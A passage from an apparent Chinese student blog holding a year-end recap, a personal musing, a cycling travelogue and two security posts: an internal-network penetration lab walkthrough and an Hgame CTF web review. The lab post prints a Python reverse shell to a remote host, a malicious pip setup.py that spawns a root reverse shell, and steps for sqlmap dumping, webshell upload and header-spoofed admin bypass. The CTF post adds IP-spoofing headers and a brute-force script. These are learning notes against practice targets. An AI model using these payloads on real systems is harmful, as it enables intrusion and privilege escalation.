n\n既然是骑车就多放点风景图\n\n![image-20250114192033374](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114192033374.png)\n\n![image-20250114191751933](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114191751933.png)\n\n感谢rcf的激情出图\n\n![image-20250114191800472](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114191800472.png)\n\n![image-20250114191825646](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114191825646.png)\n\n路边的野狗我也要摸😡\n\n![image-20250114191857602](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114191857602.png)\n\n然后就是来到了华为签约时刻，这个时候我还没有三方，只是签了两方。\n\n![image-20250114191948174](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114191948174.png)\n\n拿到了华为校招礼盒\n\n![image-20250114192006414](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114192006414.png)\n\n最后的最后就是在回家途中和npy去了南京狠狠的玩了几天。\n\n南京之旅最佳--音乐台鸽子\n\n![image-20250114192147077](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114192147077.png)\n\n去了总统府\n\n![image-20250114192249497](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114192249497.png)\n\n还有南京博物馆，明孝陵，美龄宫，很多很多，就少放点图片吧\n\n![image-20250114192316567](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114192316567.png)\n\n![image-20250114192323518](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114192323518.png)\n\n期间在npy影响下还迷上了甄嬛传，开始看甄嬛传解说\n\n![image-20250114192354137](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114192354137.png)\n\n很有意义的一年，也是人生转折的一年，经历了很多事情，2024在我人生里注定是不平凡的一年，特此铭记。\n","tags":["年终总结","实习小记"],"categories":["总结"]},{"title":"第一次完整内网渗透测试","url":"/2024/03/19/shentou1/","content":"\n> 最近突发奇想（其实也不是，就是看见实习要求感觉自己啥都不会），想学习一下内外网渗透，于是就想到了之前学校的一个靶场，于是就有了这篇文章，主要渗透靶场如下，可以完整顺下来。完整走完一遍渗透流程感觉学到了巨多的知识。我第一遍的时候只截了图，就一直往下做了。现在属于第二遍回顾，来把一些当时不太会的知识点再学学原理\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-46-08-image.png)\n\n# 阶段1：渗透内网唯一对外机器\n\n唯一可访问的外网：192.168.1.7\n\n用win10侦察机访问一下，查看源代码：\n\n发现疑似任意文件读取漏洞\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-24-48-image.png)\n\n因为是靶场，所以他这里面的fr我感觉应该是file read，所以是任意文件读，按如下命令读取index.php文件：\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-27-39-image.png)\n\n最开始直接参数设为index.php无反应，如上，猜测应该是代码里面本来就有后缀，所以改成index，如下，就可以显示出源代码的base64\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-27-27-image.png)\n\n解码一下得到密码![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-31-47-image.png)\n\n> 密码：Niamey4Ever227!!!\n> \n> 账户：mamadou\n\n账户是在网站中发现的，有“made by mamadou”\n\n接下来就需要ssh一下，那就先nmap扫一下端口\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-36-02-image.png)\n\n发现有一个3333端口开着，网上搜了一下说是这个是ssh服务，所以就直接用了\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-36-35-image.png)\n\n连接上之后发现是在python内，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-36-52-image.png)\n\n既然是python，那就用下面的命令可以进入shell，如下：\n\n（搜的命令 遇到这种情况都这样做）\n\n```python\nimport pty;\npty.spawn(\"/bin/bash\")\n```\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-37-54-image.png)\n\n进入之后ls一下就会发现第一个flag：flag1：d86b9ad71ca887f4dd1dac86ba1c4dfc\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-38-23-image.png)\n\n读取/etc/passwd\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-39-55-image.png)\n\n发现了另一个用户devops，先去该用户的目录看看 ls一下，发现了flag2，但是无权限打开，需要devops用户才有权打开\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-41-23-image.png)\n\n则需要将用户改成devops才可以打开，那接下来就需要想办法将用户改一下\n\n用下面的命令看一下devops下有的文件\n\n`find / -users devops 2>/dev/null`\n\n> 其中讲一下 2>/dev/null命令，挺有意思的\n> \n> 这是Linux系统预留可三个文件描述符：0、1、2，意义如下：  \n> 0——标准输入（stdin）  \n> 1——标准输出（stdout）即输入到终端  \n> 2——标准错误（stderr）\n> \n> 则 2>/dev/null 就是将错误输入到null，也就是将错误隐藏，这样就可以只输出正确的了，以免刷屏\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-50-36-image.png)\n\n如上，挨个试一下发现只要第一个python文件可以打开，打开内容如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-50-47-image.png)\n\n是写入文件的命令，去写入的目录看一下，发现该文件是刚刚创建的，很奇怪，在ls一下发现时间又更新了，这样应该就是系统中有个程序一直在定时的调用这个程序。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-51-45-image.png)\n\n那就简单了，直接改一下python文件，改成读取flag2文件然后输出出来，这样我们就可以打开了。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-53-54-image.png)\n\n如下，得到第二个flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-11-55-01-image.png)\n\nFlag 2 : d8ce56398c88e1b4d9e5f83e64c79098\n\n既然可以执行任意我们写入的python文件，那就可以反弹shell了，如下，是反弹shell的一个标准脚本，用就行\n\n```python\nopen('/tmp/test','w').write('test')\nimport socket,subprocess,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect((\"99.99.99.99\",1235))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\np=subprocess.call([\"/bin/bash\",\"-i\"])\n```\n\n连接到kali攻击机上面，kali监听\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-12-49-17-image.png)\n\n最后成功反弹shell，如下，用户为devops，也能cat flag2\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-12-49-40-image.png)\n\n接下来收集信息：用sudo -l 看一下自己的权利，可以发现pip可用，且是root权限\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-12-50-52-image.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-12-52-58-image.png)\n\n则可以利用网上已有的脚步利用pip漏洞，这里环境中kali攻击机上已经有了相应的脚本，则用下面的办法传到机器上\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-12-55-08-image.png)\n\n在kali开启python服务器，目录下需要有脚本，这里是setup.py\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-12-56-12-image.png)\n\n然后用我们刚才反弹的shell来获取脚本，如上：\n\n命令总结：\n\n```python\n# kali攻击机：\npython3 -m http.server 8000      # 在8000端口开服务器\n# 被攻击机shell：\nwget http://kali.ip/所需文件\n```\n\n脚本如下\n\n```python\nfrom setuptools import setup\nfrom setuptools.command.install import install\nimport base64\nimport os\n\n\nclass CustomInstall(install):\n  def run(self):\n    install.run(self)\n    LHOST = 'localhost'  # change this 改成kali的IP地址\n    LPORT = 13372\n\n    reverse_shell = 'python -c \"import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\\'{LHOST}\\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\\'HISTFILE\\', \\'/dev/null\\'); pty.spawn(\\'/bin/bash\\'); s.close();\"'.format(LHOST=LHOST,LPORT=LPORT)\n    encoded = base64.b64encode(reverse_shell)\n    os.system('echo %s|base64 -d|bash' % encoded)\n\n\nsetup(name='FakePip',\n      version='0.0.1',\n      description='This will exploit a sudoer able to /usr/bin/pip install *',\n      url='https://github.com/0x00-0x00/fakepip',\n      author='zc00l',\n      author_email='andre.marques@esecurity.com.br',\n      license='MIT',\n      zip_safe=False,\n      cmdclass={'install': CustomInstall})\n```\n\n在shell中用vim发现用不了，则就可以用sed文件，先搜索更改的位置然后直接改就好了。\n\n需要改的地方也就是ip地址而已\n\n然后执行命令：（利用脚本）\n\n`sudo /usr/bin/pip install . --upgrade --force-reinstall`\n\n反弹shell：\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-13-07-10-image.png)\n\n去主目录ls一下发现有root.txt，查看root.txt\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-13-08-50-image.png)\n\n得到第三个flag：821ae63dbe0c573eff8b69d451fb21bc\n\n本阶段就算结束了，拿到了机器的root权限后基本上就可以随便黑进去了\n\n# 阶段2：内网渗透\n\n## 阶段2-1 内网渗透博客系统\n\n接下来我们需要做的是将上面已经拿到root权限的机器当做跳板，继续向内网渗透。因为内网的另外两台机器不出网，所以只能用代理的方式，让kali通过代理可以当成是内网机，这样方便进行一些攻击操作，不然在得到的rootShell中攻击太麻烦了，费时又费力\n\n先去kali拿frp的代理工具（这里的frp即为代理工具）\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-13-19-02-image.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-13-19-42-image.png)\n\n然后先在kali建立代理服务器\n\n```cmake\nchmod +x frps  //赋权\n\n./frps -c ./frps.ini   //建立代理服务端\n```\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-13-22-42-image.png)\n\n然后在拿到root的外网机器上执行下面命令\n\n```cmake\nchmod +x frpc  //赋权\n\n./frpc -c ./frpc.ini   //连接服务\n```\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-13-25-01-image.png)\n\n如上图，此时就算是代理建立完成了，这两个窗口就可以先收起来了，但是不能关闭，直到我们全部渗透完才可以关闭。\n\n代理建立成功后设置proxychains的配置文件：\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-13-30-01-image.png)\n\n新增记录：即以本地的9998端口开启代理\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-13-29-52-image.png)\n\n接下来就可以在kali执行内网探测：\n\n进入`/root/Desktop/tools/PortScan/`目录，在该目录下打开终端，这是kali自带的ip扫描工具，用就完了\n\n用以下命令使用代理扫描内网前十个IP地址\n\n`proxychains python scan.py 192.168.1.1 192.168.1.10 -t 20`\n\n上面命令的proxychains是代表在代理情况下执行后续命令，没有这个就扫不出来\n\n如下图：发现三个ip地址的80端口开着\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-13-35-02-image.png)\n\n其中1.7的ip地址我们已经渗透完了，那就另外两个ip地址即为我们的攻击目标\n\n接下来为了在win侦查机中打开对应的内网网页，就需要打开代理软件\n\n但是靶场里面的软件支持过期了，直接搜索proxifier也可\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-13-59-04-image.png)\n\n在这个代理软件里面填上kali的ip地址以及端口，这样就相当于win通过kali连接上了wakanda的内网。\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-13-58-55-image.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-13-59-17-image.png)\n\n设置代理完相当于此时win10就是内网的wakanda机器，来访问其他的内网机器，比如此时的192.168.1.8的80端口：可以访问，发现下图页面\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-09-12-image.png)\n\n里面的目录都点一下试试，进入test之后发现网页路径可能存在sql注入（页面里面有?id=1）\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-10-10-image.png)\n\n试一下，加一个分号发现报错，那就是有回显的sql注入了\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-11-07-image.png)\n\n这里想尝试一下手工注入，再尝试一下发现是双引号闭合，但是还是注入不了\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-12-33-image.png)\n\n那实在不行就直接kali的sqlmap注入一下\n\n如下在命令终端中执行 \n\n`proxychains sqlmap -u http://192.168.1.8/cat.php?id=1 --dbs`\n\n还行需要代理，不然访问不了，kali还是相当于外网机：成功开始注入\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-19-14-image.png)\n\n成功注出数据库：\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-26-53-image.png)\n\n先查看public数据库的表\n\n`proxychains sqlmap -u http://192.168.1.8/cat.php?id=1 -D public --tables`\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-27-38-image.png)\n\n再看user的表内容\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-31-15-image.png)\n\n注出admin的密码：P4ssw0rd\n\n同时拿到第四个flag：8efe310f9ab3efeae8d410a8e0166eb2\n\n然后进入admin网页，登录一下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-32-18-image.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-34-33-image.png)\n\n登录之后发现可以添加图片，可以进行文件上传：\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-38-24-image.png)\n\n但是不能上传php后缀的文件，那应该就是文件上传漏洞了。\n\n则可以用.htaccess绕过，前面的博客已经提到过\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-39-12-image.png)\n\n上传成功，这里我用powershell改了文件名，正常win不让你改成.htaccess的文件名，用Rename-item即可改名字\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-41-47-image.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-42-02-image.png)\n\n则再上传一个.xyth后缀的文件即可，里面放上一句话木马\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-44-18-image.png)\n\n上传成功\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-44-41-image.png)\n\n接下来就是蚁剑直连！测试一下，通过！\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-48-31-image.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-49-51-image.png)\n\n此时就算是内网的博客系统被我们拿下了。这阶段结束。\n\n## 阶段2-2：内网渗透CMS\n\n访问192.168.1.6，发现是cmseasy的内部网站\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-14-56-48-image.png)\n\n根据任务描述发现有纵向越权漏洞，可以在不知道管理员身份信息以及密码信息的情况下登录网站后台。\n\n> 根据漏洞原理中得知，现在需要使用modify伪造一个ip，然后编辑get参数绕过后台登录认证。\n> \n> 使用modify使用X-Forwarded-For方式（网站获取ip的函数是获取http请求中的X-Forward-For字段），设置ip为网站的IP地址，然后点击start伪造ip。构造我们的get参数为：`admin_dir=admin&site=default&ishtml=1`\n\n先伪造ip：\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-13-34-image.png)\n\n然后直接访问：\n\n进入后台\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-13-12-image.png)\n\n在标题位置发现flag1：\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-15-08-image.png)\n\nflag1={mMyVrXbHYiTkO8osbrCbEIx1D4Tcf3WP}\n\n此时我们虽然进入了后台，但是还不是管理员身份，所以进入不了其他网页\n\n设置参数为：  查看语言项\n`case=language&act=edit&table=orders&admin_dir=admin&site=default&ishtml=1`\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-30-01-image.png)\n\n直接翻到最后一页，发现路径以及密码\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-30-28-image.png)\n\n按给的路径和密码连接不上，观察一下改一下单词就可以蚁剑连接了，连接测试通过！\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-19-09-image.png)\n\n然后在该文件下找到第二个flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-19-45-image.png)\n\n/config/config.php然后去配置文件找数据库密码\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-39-14-image.png)\n\n同时拿到flag3，如上\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-22-08-image.png)\n\n直接添加之后连接，测试通过\n\n找到flag4，获得base64的flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-23-03-image.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-23-23-image.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-25-46-image.png)\n\nflag4：P7iy1FflMZLZkDws35qE2cLOAWMscVj7\n\nflag5直接在/etc目录下找到\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-24-12-image.png)\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/2024-03-19-15-24-19-image.png)\n\n就算全部渗透完了。\n\n最后一阶段利用的是cms的漏洞，完成的比较仓促，因为环境快关了。但问题不大。主要目的是了解一下渗透测试的基本流程。\n\n## 总结一下\n\n基本渗透测试流程就是先根据网站打入其服务器，然后提权到root，建立代理，利用被打下的机器继续渗透其他内网机器，然后攻击。简单的流程应该会这样，但实际上最难得部分应该就是如何打入服务器。害，学吧。\n\n----\n","tags":["sql注入","文件上传绕过","渗透测试","内网渗透"],"categories":["渗透测试","内网渗透"]},{"title":"杂想乱谈[0x00]","url":"/2024/03/01/nnnnnnnnnnnnn/","content":"\n# 杂想乱谈\n\n###### ----写于大三下学期初\n\n        最近不知为何，脑子总是处于一种混乱的。可能是刚刚进入新学期还没适应学习生活。就像我在开始写这篇文字的时候，会对起什么tag和放在那个文件夹开始纠结起来。\n\n        我写的应该算是散文吧，不对，以我的粗糙的文笔，断不可能可以写出散文的。但是散文的定义是什么来着？脑子里似乎有一定印象但不多。算了这不是我该想的事情。那应该算是碎碎念吧，emm应该算。但是，我终归应该给我这篇文字下个定义吧：乱写。嗯，满意了。那归档文件夹就叫做垃圾思想排放堆吧，简称垃圾堆。不行。这太不雅了，我怎么可以起这个名字虽然我是这么想的，那就叫思想废料回收站吧，瞧瞧这名字，是不是好多了。写完tag和文件归档名。我注意到标题还没写，我费力抑制住了写上“瞎勾八写”这个标题的冲动，开始思索起来应该写上什么标题。大家都说虎头豹肚蛇尾。我认为我写的标题不能对老虎产生名誉上的侵犯，所以最终定下来“杂想乱谈”这个标题，突出一个杂乱。并且为了保证之后的乱写不会再次产生这种困扰，我决定在文章后面加个标号，这样既省了反复想标题，还高大上了起来，两全其美！当我打上No.1的时候，我又陷入了迷茫，拜托，你可是计算机学院的学生，怎么可以这样写标号，应该从No.0开始，这才对嘛。不对，还是不能体现专业特色，那就改成0x00。诶，这就好多了。再加个小小的方括号[0x00]，我是天才！\n\n        写了半天，似乎没写到什么有意义的东西。不对，我怎么可以这么想，我写这些又不是为了有意义。在我看来不是每一件事都需要有意义才会去做，再说了，有意义又由谁来界定呢？似乎没有人可以界定你做的事情是否有意义啊。我认为它有意义，那便是有意义。\n\n        说回正题，我认为思想混乱的根源便是最近开始出人意料的连续早起，这早起不是起床而是自己自然醒了。这对上学期的我来说是永远无法想象的事，就像远古人想象不到火可以从透明如水晶版般的盒子里喷出来而不是手搓出来一样。以前的我七点多还处在一种昏厥状态，现在的我每天七点多就自己醒了，虽然还有困意但是理智告诉我别睡了，想睡也睡不着了，于是我就起来了。收拾收拾粗糙的外表，穿上厚厚的棉服就出门吃早饭了。规律的吃早饭 ！我不敢相信这是我能做出来的事情，但我就是做了。然后去往图书馆，找一个舒适的位置坐下，开始思考该干什么。我知道了，一定是因为我最近学习的时间大幅延长了，以前的我不会拥有明媚的早晨，只会拥有静谧的深夜。而现在，一切都反过来了。深夜再也代表不了我，取而代之的是朝阳，是早饭，是规律的作息。啊哈哈。\n\n        大三下的这个春季学期，可以说是一个忙碌的学期，身边的人陆陆续续已经开始了保研冲刺或者已经开始在选导师与实验室。每当身边有人跟我讨论实验室与导师的事情我就会有一点焦虑，焦虑什么呢？我也不知道。我已经确定了我要去考研了，看着我那惨淡的绩点就知道保研与我无关。况且曾经我也尝试着读了一点论文，看着就头疼也说明了我不适合走上学术这条路，我还是选择了专硕。似乎我已经确定了我未来大半年的规划，但我又在迷茫什么？有很多CTF知识想去学，面对一堆考研资料无从下手，同时还想着去做家教，我真是太闲了。算了，与其在这无病呻吟还是去做一些事吧。最近又想起来sqli-lab，先去把他打通一下玩玩。主要还是其他科目没有作业啊！\n\n        而我为什么要写这些东西呢，说出来你可能想不到，是为了练打字！哈哈哈，已经是大三的学生了，我打字虽然不是二指禅，但却是奇怪的四指禅，我也不知道我的手指是怎么运作的就可以用四只手指头飞快的盲打，但是这样就有一个非常大的问题，就是换一个键盘我就不行了，我的手和我笔记本键盘的相对位置固定的时候我才会飞快的用四只手指头盲打，不得不感慨生命的奇妙，没有任何章法竟然也可以打出来。这篇文字我基本都在努力的使用我的全部手指来达到标准的打字，还得练啊！\n","tags":["碎碎念","乱写"],"categories":["思想废料回收站"]},{"title":"HgameCTF2024-week1-web/misc题复盘","url":"/2024/02/27/hgame1/","content":"\n> 本应该在假期写的复盘博客，结果由于懒加上练车就完全没写，这个比赛我也只在week1做的时间比较多，之后的几周基本都没怎么做，全在玩了（无奈.jpg）。但是假期就是要狠狠玩！开学了，开始补之前的落下的复盘。\n\n# 一、web部分\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227092806.png)\n\n先从简单到难逐渐复盘：\n\n### 1.ezHTTP\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227095428.png\" title=\"\" alt=\"\" width=\"368\">\n\n根据题目也可以发现是简单的考察一些http协议具体内容，用burpsuite抓包，点开之后发现提示：**请从vidar.club访问这个页面**\n\n所以用Referer头即可，如下：\n\n> 用于模仿来源的http头一共有两个，分别是Origin与Referer，但是Origin只用在**CORS跨域请求**中，普通的请求用不到，所以本题用到了Referer。\n\n可以看到回复如下，所以就简单的更改一下user-agent即可\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227095815.png)\n\n回复如下，需要从本地访问，\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227100140.png)\n\n下面这些都是可以当做本地访问的头，其中重要的三个我已经标出来了，挨个试即可，这题是用到了X-Real-IP才可以通过的\n\n```cmd\n** Client-IP:127.0.0.1\n** X-Real-IP: 127.0.0.1\n** X-Forwarded-For: 127.0.0.1\nForwarded-For-Ip: 127.0.0.1\nForwarded-For: 127.0.0.1\nForwarded-For: localhost\nForwarded:127.0.0.1\nForwarded: localhost\nTrue-Client-IP:127.0.0.1\nX-Client-IP: 127.0.0.1\nX-Custom-IP-Authorization : 127.0.0.1\nX-Forward-For: 127.0.0.1\nX-Forward: 127.0.0.1\nX-Forward: localhost\nX-Forwarded-By:127.0.0.1\nX-Forwarded-By: localhost\nX-Forwarded-For-Original: 127.0.0.1\nX-Forwarded-For-original: localhost\nX-Forwarded-For: localhost\nX-Forwarded-Server: 127.0.0.1\nX-Forwarded-Server: localhost\nX-Forwarded: 127.0.0.1\nX-Forwarded: localhost\nX-Forwared-Host: 127.0.0.1\nX-Forwared-Host: localhost\nX-Host: 127.0.0.1\nX-Host: localhost\nX-HTTP-Host-Override : 127.0.0.1\nX-Originating-IP: 127.0.0.1\nX-Remote-Addr: 127.0.0.1\nX-Remote-Addr : localhost\nX-Remote-IP: 127.0.0.1\n```\n\n最后是给了一个bearer编码的flag，这还是第一次遇到，挺新奇的，找一个解码网址最后得到flag\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227102801.png\" title=\"\" alt=\"\" width=\"533\">\n\n得到flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227103244.png)\n\n### 2.Bypass it\n\n这题的提示是：This page requires javascript to be enabled :)显示js已经开启\n\n而进入网页之后发现是一个登录页面，刚进来肯定是没有账户的，需要注册，但是点击注册js弹框显示不让注册，结合题目提示，猜测是需要禁用js，这就很简单了\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227104431.png\" title=\"\" alt=\"\" width=\"400\">\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227104612.png\" title=\"\" alt=\"\" width=\"397\">\n\n直接在控制台禁用js，然后点击注册，发现成功进入网址，然后就是注册即可\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227104709.png\" title=\"\" alt=\"\" width=\"422\">\n\n注册完登录即可拿到flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227104905.png)\n\n### 3.Select Courses\n\n根据题目名字也可以知道这需要我们将课程全部选上才会有flag，但是会发现全是已满的课程，如下这时候\n\n<img title=\"\" src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227132835.png\" alt=\"\" width=\"634\">\n\n最开始我做的时候是直接在前端页面改成未满然后点点点的选，发现没用，之后在前端js代码一个生成课的函数，然后我就把之前收到的所有课程的选包里面的full改成0然后用函数发过去会发现又多了四个相同的未满课，但是此时选课还是不行，后来我就随便的点点点发现突然选上一个课，我以为我这种方法是对的。然后就不断发包然后点，最后也都做完了。但是不知道啥原理。直到看到了题解才发现原来是爆破。。。\n\n当我们选课的时候是通过给后端发包实现，如下\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227112649.png)\n\n后端也会返回你一个错误信息以及满的信息。\n\n既然是爆破那就写一个脚本就可以通过了\n\n```python\nimport requests\nurl = \"http://47.102.184.100:32022/api/courses\"\ndata = {\"id\":1}\nnum = []\nwhile True:\n    for i in range(1,6):\n        if i in num:\n            continue\n        data[\"id\"] = i\n        response = requests.post(url, json=data)\n        if '\"full\":0' in response.text:\n            print(f\"Response for id={i}: {response.text}\")\n            num.append(i)\n```\n\n上述代码有部分参考了题解，当出现所有课程的id之后就选完了，如下提交即可获得flag\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/img/20240227112606.png)\n\n啊啊啊平台关了，我太拖延了，其他的web题都复现不了了。\n\n","tags":["ctf回顾"],"categories":["ctf","赛题回顾"]},{"title":"第一篇骑行游记-记2023.11.3-5的千岛湖4+2骑游活动","url":"/2024/01/30/firstlife/","content":"\n> 噔噔蹬蹬，曾无数次被我提起的博客游记之路，终于从今日开始正式启航。下面，您将见到的：\n> \n> 是“休闲骑，不拉爆”的真诚话语🥰\n> \n> 是将重物都让给大腿的快意豪情😍\n> \n> 是今晚吃大餐的泡面火腿相伴😋\n> \n> 是下个转弯就到顶的眼前胡萝卜🤩\n> \n> 但同时也是：\n> \n> 祖国风光尽收眼底的喜悦😆\n> \n> 好盆友相伴的基情四射🥵\n> \n> 挥洒汗水时的多巴胺起飞😈\n> \n> 一顿操作猛如虎一看功率一百五的刺激😻\n> \n> 注：本篇文字均为本人兴起而写，文字不能说是混乱不堪，但也算得上一塌糊涂。请各位看官不要过于较真，自认为游记肯定要怎么舒服怎么写，所以就算提了建议我也不改🤪\n> \n> 后续我可能会陆续补上这一年的游记，但更新完全随缘。。。\n\n# 一、缘起\n\n哎也不用说是缘起，一般4+2除了rcf日常招队友之外，基本就没有其他人了。\n\n所以以后4+2就没有这个环节了，都默认为rcf的倾情赞助-----一只车🤩\n\n> 